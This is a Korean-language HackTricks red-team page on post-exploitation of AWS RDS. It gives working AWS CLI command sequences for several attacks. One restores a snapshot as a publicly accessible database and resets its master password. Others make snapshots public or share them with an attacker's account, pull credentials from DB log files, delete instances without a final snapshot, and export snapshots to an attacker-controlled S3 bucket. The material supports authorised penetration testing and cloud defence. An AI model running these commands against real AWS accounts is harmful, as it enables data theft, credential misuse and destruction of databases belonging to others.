AWS - RDS Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

RDS

자세한 정보는 확인하세요:

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

공격자가 충분한 권한을 가지고 있다면, DB 스냅샷을 생성하고 그 후 스냅샷에서 공개 액세스 가능한 DB를 만들어 DB를 공개 액세스 가능하게 할 수 있습니다.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

이 권한을 가진 공격자는 DB 스냅샷을 생성하고 공개적으로 이용할 수 있습니다. 그런 다음, 해당 스냅샷에서 자신의 계정에 DB를 생성할 수 있습니다.

만약 공격자가 rds:CreateDBSnapshot을 가지고 있지 않더라도, 다른 생성된 스냅샷을 공개로 만들 수 있습니다.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion 권한을 가진 공격자는 RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다. 민감한 데이터나 액세스 자격 증명이 실수로 기록된 경우, 공격자는 이 정보를 사용하여 권한을 높이거나 무단 조치를 취할 수 있습니다.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

잠재적 영향: 누출된 자격 증명을 사용하여 민감한 정보에 액세스하거나 무단 조치를 취할 수 있음.

rds:DeleteDBInstance

이 권한을 가진 공격자는 기존 RDS 인스턴스에 DoS 공격을 할 수 있습니다.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

잠재적 영향: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성.

rds:StartExportTask

할 일: 테스트

이 권한을 가진 공격자는 RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다. 공격자가 대상 S3 버킷을 제어할 수 있다면, 내보낸 스냅샷 내의 민감한 데이터에 액세스할 수 있습니다.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

잠재적 영향: 내보낸 스냅샷에서 민감한 데이터에 액세스할 수 있음.

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新